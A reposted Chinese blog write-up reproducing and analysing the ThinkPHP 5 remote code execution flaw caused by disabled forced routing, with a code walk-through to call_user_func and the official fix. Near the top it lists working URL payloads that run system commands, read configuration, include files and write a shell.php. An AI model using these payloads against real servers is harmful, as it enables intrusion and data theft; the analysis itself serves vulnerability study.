IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Thinkphp5未开启强制路由导致的RCE 漏洞复现与分析 -> 正文阅读

[PHP知识库]Thinkphp5未开启强制路由导致的RCE 漏洞复现与分析

影响版本

  • 小于5.0.23
  • 小于5.1.30

5.0.x

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1.x

?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> //这个payload我并没有成功
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

本次复现使用payload:

http://127.0.0.1:8000/index.php?s=index/think\request/input?data=whoami&filter=system

thinkphp/library/think/App.php
run()方法中有个路由检测方法routeCheck(),跟进

在这里插入图片描述
首先会获取$path的值,跟进,进入path()方法
在这里插入图片描述$path的值为path()中的$pathinfo(),而$pathinfo的值由pathinfo()获取
在这里插入图片描述跟进pathinfo(),发现pathinfo的值就是我们传的s参数的值

在这里插入图片描述
然后回到routeCheck(),判断是否开启强制路由,不开启就是false,开启的话这个漏洞就不存在了
接着继续跟进,进入check()方法
这里会将/替换为|,然后返回
在这里插入图片描述
此时dispatch的值为index|think\request|input?data=whoami
在这里插入图片描述
然后跟进进入init()

在这里插入图片描述进入parseUrl()方法
其中有个parseUrlPath()会重新让|替换为/在这里插入图片描述

在这里插入图片描述
然后就是一系列的解析操作,封装后返回

在这里插入图片描述返回到init(),会创建一个Model对象,再返回到run()

在这里插入图片描述
继续跟进

在这里插入图片描述这里会执行exec()方法,跟进
在这里插入图片描述实例化了一个反射类ReflectionMethodReflectionMethod类报告了一个方法的有关信息
在这里插入图片描述
接着因为url_param_type默认值是0,所以执行$this->request->param()vars也就成功赋值
在这里插入图片描述
接着跟进invokeReflectMethod方法
在这里插入图片描述

绑定参数后通过反射方式调用了input()方法

在这里插入图片描述
跟进input()
在这里插入图片描述

最终调用filterValue()方法,执行里面的call_user_func并返回,完成了RCE
在这里插入图片描述自此,总算磕磕绊绊复现了一遍,原理其实就是没做好过滤,导致可以调用任意的控制器,官方的修复也很简单,对控制器的名字加了正则,没法再调用任意控制器了

修复

在这里插入图片描述
payload有好几种,有空再去看看其他几个

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-30 11:43:35  更:2021-09-30 11:44:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 4:29:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计